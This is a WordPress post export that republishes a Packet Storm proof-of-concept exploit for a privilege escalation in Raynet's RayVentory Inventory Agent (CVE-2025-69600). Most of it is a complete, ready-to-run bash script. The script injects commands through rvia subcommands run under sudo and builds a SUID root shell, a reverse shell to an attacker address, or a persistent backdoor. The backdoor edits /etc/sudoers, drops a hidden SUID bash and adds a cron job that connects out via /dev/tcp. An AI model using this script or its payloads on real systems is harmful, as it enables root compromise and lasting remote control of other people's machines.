{"id":41671,"date":"2026-02-19T11:39:25","date_gmt":"2026-02-19T11:39:25","guid":{"rendered":"http:\/\/localhost\/?p=41671"},"modified":"2026-02-19T11:39:25","modified_gmt":"2026-02-19T11:39:25","slug":"raynet-rvia-26439249-amd64deb-privilege-escalation","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=41671","title":{"rendered":"\ud83d\udcc4 Raynet rvia 2.6.4392.49-amd64.deb Privilege Escalation_PACKETSTORM:215862"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-19T16:34:02&#8243;,&#8221;description&#8221;:&#8221;Proof of concept privilege escalation exploit for Raynet&#8217;s RayVentory Inventory Agent version 2.6.4392.49-amd64.deb&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-19T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-19T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Raynet rvia 2.6.4392.49-amd64.deb Privilege Escalation&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215862&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-69600&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Raynet rvia 2.6.4392.49-amd64.deb Privilege Escalation Vulnerability                                                        |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.3 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/raynet.de\/                                                                                                          |\\n    =============================================================================================================================================\\n    \\n    [+] Summary    :  A privilege escalation vulnerability identified as CVE-2025-69600 affects certain versions of RayVentory Inventory Agent. \\n                      The issue arises from improper validation and insufficient restriction of privileged operations when executed through sudo configurations. \\n    \\t\\t\\t\\t  Under specific misconfigurations, a local authenticated user may be able to execute unintended commands with elevated privileges.\\n                      Successful exploitation could lead to full system compromise, including unauthorized modification of system files and persistence mechanisms. \\n    \\t\\t\\t\\t  Organizations using affected versions should review sudo configurations, restrict command execution scopes, and upgrade to a patched version as recommended by the vendor\\n    \\n    [+] POC : \\n    \\n    #!\/bin\/bash\\n    \\n    RED=&#8217;\\\\033[0;31m&#8217;\\n    GREEN=&#8217;\\\\033[0;32m&#8217;\\n    YELLOW=&#8217;\\\\033[1;33m&#8217;\\n    BLUE=&#8217;\\\\033[0;34m&#8217;\\n    NC=&#8217;\\\\033[0m&#8217;\\n    VULNERABLE_VERSION=\\&#8221;12.6.4392.49\\&#8221;\\n    TARGET_DIR=\\&#8221;\/tmp\\&#8221;\\n    PAYLOAD_NAME=\\&#8221;rootme_$$\\&#8221;  # Added PID to avoid conflict\\n    BACKUP_DIR=\\&#8221;\/tmp\/.rvia_backup_$$\\&#8221;\\n    LISTENER_PORT=\\&#8221;4444\\&#8221;\\n    CVE_NUMBER=\\&#8221;CVE-2025-69600\\&#8221;\\n    REVERSE_IP=\\&#8221;\\&#8221;\\n    REVERSE_PORT=\\&#8221;4444\\&#8221;\\n    LISTENER_PID=\\&#8221;\\&#8221;\\n    CLEANUP_NEEDED=false\\n    EXPLOIT_SUCCESS=false\\n    \\n    show_help() {\\n        cat \\u003c\\u003c EOF\\n    Exploit for $CVE_NUMBER &#8211; RayVentory Inventory Agent\\n    Optimized Version 3.0\\n    \\n    Usage: $0 [options]\\n    \\n    Options:\\n      -c, &#8211;check         Only check for vulnerability\\n      -e, &#8211;exploit       Attempt local exploitation\\n      -r, &#8211;reverse IP    Reverse Shell (Example: -r 192.168.1.100)\\n      -p, &#8211;port PORT     Port (Default: 4444)\\n      -b, &#8211;backdoor IP   Install persistent backdoor\\n      -h, &#8211;help          Show help\\n    \\n    Examples:\\n      $0 -c\\n      $0 -e\\n      $0 -r 192.168.1.100 -p 5555\\n      $0 -b 192.168.1.100\\n    EOF\\n        exit 0\\n    }\\n    \\n    cleanup() {\\n        if [ \\&#8221;$CLEANUP_NEEDED\\&#8221; = true ]; then\\n            echo -e \\&#8221;\\\\n${YELLOW}[*] Cleaning up temporary files&#8230;${NC}\\&#8221;\\n    \\n            rm -f \\&#8221;\/tmp\/$PAYLOAD_NAME\\&#8221; 2\\u003e\/dev\/null\\n            rm -f \\&#8221;\/tmp\/$PAYLOAD_NAME.c\\&#8221; 2\\u003e\/dev\/null\\n            rm -f \\&#8221;\/tmp\/malicious_$$.cfg\\&#8221; 2\\u003e\/dev\/null\\n    \\n            if [ -d \\&#8221;\/tmp\/bin_$$\\&#8221; ]; then\\n                rm -rf \\&#8221;\/tmp\/bin_$$\\&#8221; 2\\u003e\/dev\/null\\n            fi\\n    \\n            if [ -f \\&#8221;$BACKUP_DIR\/rvia.cfg\\&#8221; ]; then\\n                if [ -f \\&#8221;\/opt\/rvia\/rvia.cfg\\&#8221; ]; then\\n                    cp \\&#8221;$BACKUP_DIR\/rvia.cfg\\&#8221; \\&#8221;\/opt\/rvia\/rvia.cfg\\&#8221; 2\\u003e\/dev\/null\\n                fi\\n                rm -rf \\&#8221;$BACKUP_DIR\\&#8221; 2\\u003e\/dev\/null\\n                echo -e \\&#8221;${GREEN}[OK] Configuration file restored${NC}\\&#8221;\\n            fi\\n            if [ -n \\&#8221;$LISTENER_PID\\&#8221; ] \\u0026\\u0026 kill -0 \\&#8221;$LISTENER_PID\\&#8221; 2\\u003e\/dev\/null; then\\n                kill \\&#8221;$LISTENER_PID\\&#8221; 2\\u003e\/dev\/null\\n                sleep 1\\n                kill -9 \\&#8221;$LISTENER_PID\\&#8221; 2\\u003e\/dev\/null\\n            fi\\n            \\n            echo -e \\&#8221;${GREEN}[OK] Cleanup complete${NC}\\&#8221;\\n        fi\\n        exit 0\\n    }\\n    \\n    trap cleanup SIGINT SIGTERM EXIT\\n    \\n    create_payload() {\\n        local payload_type=$1\\n        local payload_path=\\&#8221;\/tmp\/${PAYLOAD_NAME}.c\\&#8221;\\n        local gcc_output\\n        \\n        echo -e \\&#8221;${BLUE}[*] Creating payload: $payload_type${NC}\\&#8221;\\n        \\n        case $payload_type in\\n            \\&#8221;suid\\&#8221;)\\n                cat \\u003e \\&#8221;$payload_path\\&#8221; \\u003c\\u003c &#8216;EOF&#8217;\\n    #include \\u003cstdio.h\\u003e\\n    #include \\u003cstdlib.h\\u003e\\n    #include \\u003cunistd.h\\u003e\\n    \\n    int main() {\\n        if (setuid(0) != 0) {\\n            return 1;\\n        }\\n        if (setgid(0) != 0) {\\n            return 1;\\n        }\\n        execl(\\&#8221;\/bin\/bash\\&#8221;, \\&#8221;bash\\&#8221;, \\&#8221;-p\\&#8221;, NULL);\\n        return 0;\\n    }\\n    EOF\\n                ;;\\n            \\&#8221;reverse\\&#8221;)\\n                if [ -z \\&#8221;$REVERSE_IP\\&#8221; ]; then\\n                    echo -e \\&#8221;${RED}[!] Reverse shell IP not specified${NC}\\&#8221;\\n                    return 1\\n                fi\\n                cat \\u003e \\&#8221;$payload_path\\&#8221; \\u003c\\u003c EOF\\n    #include \\u003cstdio.h\\u003e\\n    #include \\u003cstdlib.h\\u003e\\n    #include \\u003cunistd.h\\u003e\\n    #include \\u003csys\/socket.h\\u003e\\n    #include \\u003carpa\/inet.h\\u003e\\n    #include \\u003cfcntl.h\\u003e\\n    \\n    int main() {\\n        int sock;\\n        struct sockaddr_in server;\\n        \\n        sock = socket(AF_INET, SOCK_STREAM, 0);\\n        if (sock \\u003c 0) return 1;\\n        \\n        server.sin_family = AF_INET;\\n        server.sin_port = htons($REVERSE_PORT);\\n        server.sin_addr.s_addr = inet_addr(\\&#8221;$REVERSE_IP\\&#8221;);\\n        \\n        if (connect(sock, (struct sockaddr *)\\u0026server, sizeof(server)) \\u003c 0) {\\n            close(sock);\\n            return 1;\\n        }\\n        \\n        dup2(sock, 0);\\n        dup2(sock, 1);\\n        dup2(sock, 2);\\n        \\n        execl(\\&#8221;\/bin\/bash\\&#8221;, \\&#8221;bash\\&#8221;, NULL);\\n        return 0;\\n    }\\n    EOF\\n                ;;\\n            \\&#8221;backdoor\\&#8221;)\\n                if [ -z \\&#8221;$REVERSE_IP\\&#8221; ]; then\\n                    echo -e \\&#8221;${RED}[!] Backdoor IP not specified${NC}\\&#8221;\\n                    return 1\\n                fi\\n                cat \\u003e \\&#8221;$payload_path\\&#8221; \\u003c\\u003c EOF\\n    #include \\u003cstdio.h\\u003e\\n    #include \\u003cstdlib.h\\u003e\\n    #include \\u003cunistd.h\\u003e\\n    #include \\u003ctime.h\\u003e\\n    \\n    int main() {\\n        while(1) {\\n            if (getuid() == 0) {\\n                FILE *fp;\\n                fp = fopen(\\&#8221;\/etc\/sudoers\\&#8221;, \\&#8221;a\\&#8221;);\\n                if (fp) {\\n                    fprintf(fp, \\&#8221;\\\\\\\\nroot ALL=(ALL:ALL) NOPASSWD:ALL\\\\\\\\n\\&#8221;);\\n                    fclose(fp);\\n                }\\n                system(\\&#8221;cp \/bin\/bash \/tmp\/.hidden_bash \\u0026\\u0026 chmod 4755 \/tmp\/.hidden_bash\\&#8221;);\\n                system(\\&#8221;echo &#8216;*\/5 * * * * root \/tmp\/.hidden_bash -c \\\\\\&#8221;bash -i \\u003e\\u0026 \/dev\/tcp\/$REVERSE_IP\/$REVERSE_PORT 0\\u003e\\u00261\\\\\\&#8221;&#8216; \\u003e\\u003e \/etc\/crontab\\&#8221;);\\n                break;\\n            }\\n            sleep(5);\\n        }\\n        return 0;\\n    }\\n    EOF\\n                ;;\\n            *)\\n                echo -e \\&#8221;${RED}[!] Unknown payload type: $payload_type${NC}\\&#8221;\\n                return 1\\n                ;;\\n        esac\\n    \\n        if ! command -v gcc \\u0026\\u003e \/dev\/null; then\\n            echo -e \\&#8221;${RED}[!] gcc is not installed${NC}\\&#8221;\\n            return 1\\n        fi\\n    \\n        gcc_output=$(gcc -Wall \\&#8221;$payload_path\\&#8221; -o \\&#8221;\/tmp\/$PAYLOAD_NAME\\&#8221; 2\\u003e\\u00261)\\n        if [ $? -ne 0 ]; then\\n            echo -e \\&#8221;${RED}[!] Failed to compile payload${NC}\\&#8221;\\n            echo -e \\&#8221;${RED}$gcc_output${NC}\\&#8221;\\n            return 1\\n        fi\\n        \\n        chmod +x \\&#8221;\/tmp\/$PAYLOAD_NAME\\&#8221;\\n        echo -e \\&#8221;${GREEN}[OK] Payload created successfully: \/tmp\/$PAYLOAD_NAME${NC}\\&#8221;\\n        CLEANUP_NEEDED=true\\n        return 0\\n    }\\n    \\n    check_version() {\\n        echo -e \\&#8221;${BLUE}[*] Checking RayVentory version&#8230;${NC}\\&#8221;\\n        \\n        local version=\\&#8221;\\&#8221;\\n        local installed=false\\n    \\n        if command -v dpkg \\u0026\\u003e \/dev\/null; then\\n            version=$(dpkg -l 2\\u003e\/dev\/null | grep rvia | awk &#8216;{print $3}&#8217;)\\n            if [ -n \\&#8221;$version\\&#8221; ]; then\\n                installed=true\\n            fi\\n        fi\\n    \\n        if [ \\&#8221;$installed\\&#8221; = false ] \\u0026\\u0026 [ -f \\&#8221;\/opt\/rvia\/rvia\\&#8221; ]; then\\n            version=$(\/opt\/rvia\/rvia &#8211;version 2\\u003e\/dev\/null | head -n1 | grep -oE &#8216;[0-9]+\\\\.[0-9]+\\\\.[0-9]+\\\\.[0-9]+&#8217;)\\n            if [ -n \\&#8221;$version\\&#8221; ]; then\\n                installed=true\\n            fi\\n        fi\\n        \\n        if [ \\&#8221;$installed\\&#8221; = false ]; then\\n            echo -e \\&#8221;${RED}[!] RayVentory is not installed on the system${NC}\\&#8221;\\n            return 1\\n        fi\\n        \\n        echo -e \\&#8221;${GREEN}[OK] Installed version: $version${NC}\\&#8221;\\n    \\n        if command -v dpkg \\u0026\\u003e \/dev\/null; then\\n            if dpkg &#8211;compare-versions \\&#8221;$version\\&#8221; le \\&#8221;$VULNERABLE_VERSION\\&#8221; 2\\u003e\/dev\/null; then\\n                echo -e \\&#8221;${GREEN}[OK] System is vulnerable to $CVE_NUMBER${NC}\\&#8221;\\n                return 0\\n            else\\n                echo -e \\&#8221;${RED}[!] Version $version is newer than the known vulnerable version${NC}\\&#8221;\\n                echo -e \\&#8221;${YELLOW}[!] System might not be vulnerable${NC}\\&#8221;\\n                return 1\\n            fi\\n        else\\n            echo -e \\&#8221;${YELLOW}[!] Cannot accurately verify vulnerability status${NC}\\&#8221;\\n            echo -e \\&#8221;${YELLOW}[!] Proceeding with exploitation attempt at your own risk${NC}\\&#8221;\\n            return 0\\n        fi\\n    }\\n    \\n    check_sudo() {\\n        echo -e \\&#8221;${BLUE}[*] Checking sudo privileges&#8230;${NC}\\&#8221;\\n        \\n        if ! command -v sudo \\u0026\\u003e \/dev\/null; then\\n            echo -e \\&#8221;${RED}[!] sudo is not installed${NC}\\&#8221;\\n            return 1\\n        fi\\n    \\n        if ! sudo -n true 2\\u003e\/dev\/null; then\\n            echo -e \\&#8221;${YELLOW}[!] sudo may require a password${NC}\\&#8221;\\n            echo -e \\&#8221;${YELLOW}[*] Please enter password if prompted${NC}\\&#8221;\\n        fi\\n        \\n        local sudo_config=$(sudo -l 2\\u003e\\u00261)\\n    \\n        if echo \\&#8221;$sudo_config\\&#8221; | grep -q \\&#8221;sorry, a password is required\\&#8221;; then\\n            echo -e \\&#8221;${RED}[!] sudo password required but not provided${NC}\\&#8221;\\n            return 1\\n        fi\\n        \\n        if ! echo \\&#8221;$sudo_config\\&#8221; | grep -q \\&#8221;rvia\\&#8221;; then\\n            echo -e \\&#8221;${RED}[!] No sudo privileges found for rvia${NC}\\&#8221;\\n            return 1\\n        fi\\n        \\n        echo -e \\&#8221;${GREEN}[OK] sudo privileges exist${NC}\\&#8221;\\n    \\n        local patterns=(\\n            \\&#8221;rvia[[:space:]]*\\\\*\\&#8221;\\n            \\&#8221;rvia[[:space:]]+getconfig\\&#8221;\\n            \\&#8221;rvia[[:space:]]+upload\\&#8221;\\n            \\&#8221;rvia[[:space:]]+inventory\\&#8221;\\n            \\&#8221;rvia[[:space:]]+oracle\\&#8221;\\n            \\&#8221;(root)[[:space:]]*\\&#8221;\\n            \\&#8221;(ALL[[:space:]]*:[[:space:]]*ALL)\\&#8221;\\n            \\&#8221;(ALL)[[:space:]]*\\&#8221;\\n        )\\n        \\n        local found=0\\n        for pattern in \\&#8221;${patterns[@]}\\&#8221;; do\\n            if echo \\&#8221;$sudo_config\\&#8221; | grep -qE \\&#8221;$pattern\\&#8221;; then\\n                found=1\\n                echo -e \\&#8221;${GREEN}[OK] Found exploitable pattern: $pattern${NC}\\&#8221;\\n                break\\n            fi\\n        done\\n        \\n        if [ $found -eq 1 ]; then\\n            echo -e \\&#8221;${GREEN}[OK] Configuration is exploitable!${NC}\\&#8221;\\n            return 0\\n        else\\n            echo -e \\&#8221;${YELLOW}[!] Configuration may not be directly exploitable${NC}\\&#8221;\\n            return 0\\n        fi\\n    }\\n    \\n    exploit_single_method() {\\n        local method=$1\\n        local cmd=\\&#8221;\/tmp\/$PAYLOAD_NAME\\&#8221;\\n        local temp_cfg=\\&#8221;\/tmp\/malicious_$$.cfg\\&#8221;\\n        \\n        echo -e \\&#8221;${BLUE}[*] Attempting exploit using: $method${NC}\\&#8221;\\n    \\n        if [ ! -d \\&#8221;$BACKUP_DIR\\&#8221; ] \\u0026\\u0026 [ -f \\&#8221;\/opt\/rvia\/rvia.cfg\\&#8221; ]; then\\n            mkdir -p \\&#8221;$BACKUP_DIR\\&#8221;\\n            cp \\&#8221;\/opt\/rvia\/rvia.cfg\\&#8221; \\&#8221;$BACKUP_DIR\/\\&#8221; 2\\u003e\/dev\/null\\n        fi\\n        \\n        case $method in\\n            \\&#8221;getconfig\\&#8221;)\\n                sudo \/opt\/rvia\/rvia getconfig \\\\\\&#8221;;$cmd;\\\\\\&#8221; 2\\u003e\/dev\/null\\n                ;;\\n            \\&#8221;upload\\&#8221;)\\n                mkdir -p \\&#8221;\/opt\/rvia\/results\\&#8221; 2\\u003e\/dev\/null\\n                touch \\&#8221;\/opt\/rvia\/results\/test_$$.xml\\&#8221; 2\\u003e\/dev\/null\\n                sudo \/opt\/rvia\/rvia upload \\\\\\&#8221;\\\\;$cmd\\\\;#\\\\\\&#8221; 2\\u003e\/dev\/null\\n                ;;\\n            \\&#8221;inventory\\&#8221;)\\n                sudo \/opt\/rvia\/rvia inventory \\\\\\&#8221;;$cmd;\\\\\\&#8221; 2\\u003e\/dev\/null\\n                ;;\\n            \\&#8221;oracle\\&#8221;)\\n    \\n                local bin_dir=\\&#8221;\/tmp\/bin_$$\\&#8221;\\n                mkdir -p \\&#8221;$bin_dir\\&#8221; 2\\u003e\/dev\/null\\n                ln -sf \\&#8221;\/tmp\/$PAYLOAD_NAME\\&#8221; \\&#8221;$bin_dir\/java\\&#8221; 2\\u003e\/dev\/null\\n                \\n                cat \\u003e \\&#8221;$temp_cfg\\&#8221; \\u003c\\u003c EOF\\n    javaPaths=$bin_dir\/\\n    EOF\\n                cp \\&#8221;$temp_cfg\\&#8221; \\&#8221;\/opt\/rvia\/rvia.cfg\\&#8221; 2\\u003e\/dev\/null\\n                \\n                sudo \/opt\/rvia\/rvia oracle test 2\\u003e\/dev\/null\\n                ;;\\n            \\&#8221;config\\&#8221;)\\n                cat \\u003e \\&#8221;$temp_cfg\\&#8221; \\u003c\\u003c EOF\\n    configDownloadSource=http:\/\/127.0.0.1:$LISTENER_PORT\/malicious\\n    schedule:command:$cmd * * * * *\\n    EOF\\n                cp \\&#8221;$temp_cfg\\&#8221; \\&#8221;\/opt\/rvia\/rvia.cfg\\&#8221; 2\\u003e\/dev\/null\\n                \\n                (\\n                    timeout 5 nc -l -p \\&#8221;$LISTENER_PORT\\&#8221; -q 1 2\\u003e\/dev\/null \\u003c\\u003c EOF\\n    HTTP\/1.1 200 OK\\n    Content-Type: text\/plain\\n    \\n    malicious\\n    EOF\\n                ) \\u0026\\n                LISTENER_PID=$!\\n                sleep 2\\n                \\n                sudo \/opt\/rvia\/rvia getconfig 2\\u003e\/dev\/null\\n                ;;\\n        esac\\n        \\n        sleep 3\\n    }\\n    \\n    check_success() {\\n        local payload=\\&#8221;\/tmp\/$PAYLOAD_NAME\\&#8221;\\n    \\n        if [ ! -f \\&#8221;$payload\\&#8221; ]; then\\n            return 1\\n        fi\\n    \\n        if [ -u \\&#8221;$payload\\&#8221; ]; then\\n            echo -e \\&#8221;${GREEN}[OK] Privilege escalation successful!${NC}\\&#8221;\\n            echo -e \\&#8221;${GREEN}[OK] Launching root shell&#8230;${NC}\\&#8221;\\n            EXPLOIT_SUCCESS=true\\n            \\&#8221;$payload\\&#8221;\\n            return 0\\n        fi\\n    \\n        if command -v stat \\u0026\\u003e \/dev\/null; then\\n            local perms=$(stat -c \\&#8221;%A\\&#8221; \\&#8221;$payload\\&#8221; 2\\u003e\/dev\/null)\\n            if [[ $perms == *s* ]]; then\\n                echo -e \\&#8221;${GREEN}[OK] Privilege escalation successful (stat)!${NC}\\&#8221;\\n                EXPLOIT_SUCCESS=true\\n                \\&#8221;$payload\\&#8221;\\n                return 0\\n            fi\\n        fi\\n        \\n        return 1\\n    }\\n    \\n    try_all_methods() {\\n        local methods=(\\&#8221;getconfig\\&#8221; \\&#8221;upload\\&#8221; \\&#8221;inventory\\&#8221; \\&#8221;oracle\\&#8221; \\&#8221;config\\&#8221;)\\n        local success=1  \\n        \\n        for method in \\&#8221;${methods[@]}\\&#8221;; do\\n            exploit_single_method \\&#8221;$method\\&#8221;\\n            \\n            if check_success; then\\n                success=0  \\n                break\\n            fi\\n            \\n            # Restore configuration file after each failed attempt\\n            if [ -f \\&#8221;$BACKUP_DIR\/rvia.cfg\\&#8221; ]; then\\n                cp \\&#8221;$BACKUP_DIR\/rvia.cfg\\&#8221; \\&#8221;\/opt\/rvia\/rvia.cfg\\&#8221; 2\\u003e\/dev\/null\\n            fi\\n        done\\n        \\n        return $success  \\n    }\\n    \\n    \\n    install_backdoor() {\\n        echo -e \\&#8221;${BLUE}[*] Installing persistent backdoor&#8230;${NC}\\&#8221;\\n        \\n        if [ -z \\&#8221;$REVERSE_IP\\&#8221; ]; then\\n            echo -e \\&#8221;${RED}[!] Backdoor IP must be specified${NC}\\&#8221;\\n            return 1\\n        fi\\n        \\n        if create_payload \\&#8221;backdoor\\&#8221;; then\\n            if try_all_methods; then\\n                echo -e \\&#8221;${GREEN}[OK] Backdoor installed successfully${NC}\\&#8221;\\n                echo -e \\&#8221;${YELLOW}[*] Reverse shell to $REVERSE_IP:$REVERSE_PORT every 5 minutes${NC}\\&#8221;\\n                return 0\\n            else\\n                echo -e \\&#8221;${RED}[!] Failed to install backdoor${NC}\\&#8221;\\n                return 1\\n            fi\\n        fi\\n    }\\n    \\n    main() {\\n    \\n        local CHECK_ONLY=false\\n        local EXPLOIT=false\\n        local BACKDOOR=false\\n        local REVERSE=false\\n    \\n        while [[ $# -gt 0 ]]; do\\n            case $1 in\\n                -c|&#8211;check)\\n                    CHECK_ONLY=true\\n                    shift\\n                    ;;\\n                -e|&#8211;exploit)\\n                    EXPLOIT=true\\n                    shift\\n                    ;;\\n                -r|&#8211;reverse)\\n                    REVERSE=true\\n                    if [ -z \\&#8221;$2\\&#8221; ] || [[ \\&#8221;$2\\&#8221; =~ ^- ]]; then\\n                        echo -e \\&#8221;${RED}[!] IP required for reverse shell${NC}\\&#8221;\\n                        exit 1\\n                    fi\\n                    REVERSE_IP=\\&#8221;$2\\&#8221;\\n                    shift 2\\n                    ;;\\n                -p|&#8211;port)\\n                    if [ -z \\&#8221;$2\\&#8221; ] || [[ \\&#8221;$2\\&#8221; =~ ^- ]]; then\\n                        echo -e \\&#8221;${RED}[!] Port number required${NC}\\&#8221;\\n                        exit 1\\n                    fi\\n                    if ! [[ \\&#8221;$2\\&#8221; =~ ^[0-9]+$ ]] || [ \\&#8221;$2\\&#8221; -lt 1 ] || [ \\&#8221;$2\\&#8221; -gt 65535 ]; then\\n                        echo -e \\&#8221;${RED}[!] Invalid port: $2${NC}\\&#8221;\\n                        exit 1\\n                    fi\\n                    REVERSE_PORT=\\&#8221;$2\\&#8221;\\n                    shift 2\\n                    ;;\\n                -b|&#8211;backdoor)\\n                    BACKDOOR=true\\n                    if [ -z \\&#8221;$2\\&#8221; ] || [[ \\&#8221;$2\\&#8221; =~ ^- ]]; then\\n                        echo -e \\&#8221;${RED}[!] IP required for backdoor${NC}\\&#8221;\\n                        exit 1\\n                    fi\\n                    REVERSE_IP=\\&#8221;$2\\&#8221;\\n                    shift 2\\n                    ;;\\n                -h|&#8211;help)\\n                    show_help\\n                    ;;\\n                *)\\n                    echo -e \\&#8221;${RED}Unknown option: $1${NC}\\&#8221;\\n                    show_help\\n                    ;;\\n            esac\\n        done\\n    \\n        if [ ! -f \\&#8221;\/opt\/rvia\/rvia\\&#8221; ]; then\\n            echo -e \\&#8221;${RED}[!] RayVentory is not installed at \/opt\/rvia\/rvia${NC}\\&#8221;\\n            exit 1\\n        fi\\n    \\n        if [ \\&#8221;$CHECK_ONLY\\&#8221; = true ]; then\\n            check_version \\u0026\\u0026 check_sudo\\n            exit $?\\n        fi\\n        \\n        if [ \\&#8221;$BACKDOOR\\&#8221; = true ]; then\\n            check_version \\u0026\\u0026 check_sudo \\u0026\\u0026 install_backdoor\\n            exit $?\\n        fi\\n        \\n        if [ \\&#8221;$REVERSE\\&#8221; = true ]; then\\n            check_version \\u0026\\u0026 check_sudo \\u0026\\u0026 create_payload \\&#8221;reverse\\&#8221; \\u0026\\u0026 try_all_methods\\n            if [ $? -eq 0 ] \\u0026\\u0026 [ \\&#8221;$EXPLOIT_SUCCESS\\&#8221; = false ]; then\\n                echo -e \\&#8221;${RED}[!] Exploit failed${NC}\\&#8221;\\n                exit 1\\n            fi\\n            exit 0\\n        fi\\n        \\n        if [ \\&#8221;$EXPLOIT\\&#8221; = true ]; then\\n            check_version \\u0026\\u0026 check_sudo \\u0026\\u0026 create_payload \\&#8221;suid\\&#8221; \\u0026\\u0026 try_all_methods\\n            if [ $? -eq 0 ] \\u0026\\u0026 [ \\&#8221;$EXPLOIT_SUCCESS\\&#8221; = false ]; then\\n                echo -e \\&#8221;${RED}[!] Exploit failed${NC}\\&#8221;\\n                exit 1\\n            fi\\n            exit 0\\n        fi\\n        \\n        show_help\\n    }\\n    \\n    main \\&#8221;$@\\&#8221;\\n    \\t\\n    Greetings to :======================================================================\\n    jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|\\n    ====================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215862&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215862\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-19T16:34:02&#8243;,&#8221;description&#8221;:&#8221;Proof of concept privilege escalation exploit for Raynet&#8217;s RayVentory Inventory Agent version 2.6.4392.49-amd64.deb&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-19T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-19T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Raynet rvia 2.6.4392.49-amd64.deb Privilege Escalation&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215862&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-69600&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n | # Title : Raynet rvia 2.6.4392.49-amd64.deb&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-41671","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Raynet rvia 2.6.4392.49-amd64.deb Privilege Escalation_PACKETSTORM:215862 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=41671\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Raynet rvia 2.6.4392.49-amd64.deb Privilege Escalation_PACKETSTORM:215862 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-19T16:34:02&#8243;,&#8221;description&#8221;:&#8221;Proof of concept privilege escalation exploit for Raynet&#8217;s RayVentory Inventory Agent version 2.6.4392.49-amd64.deb&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-19T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-19T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Raynet rvia 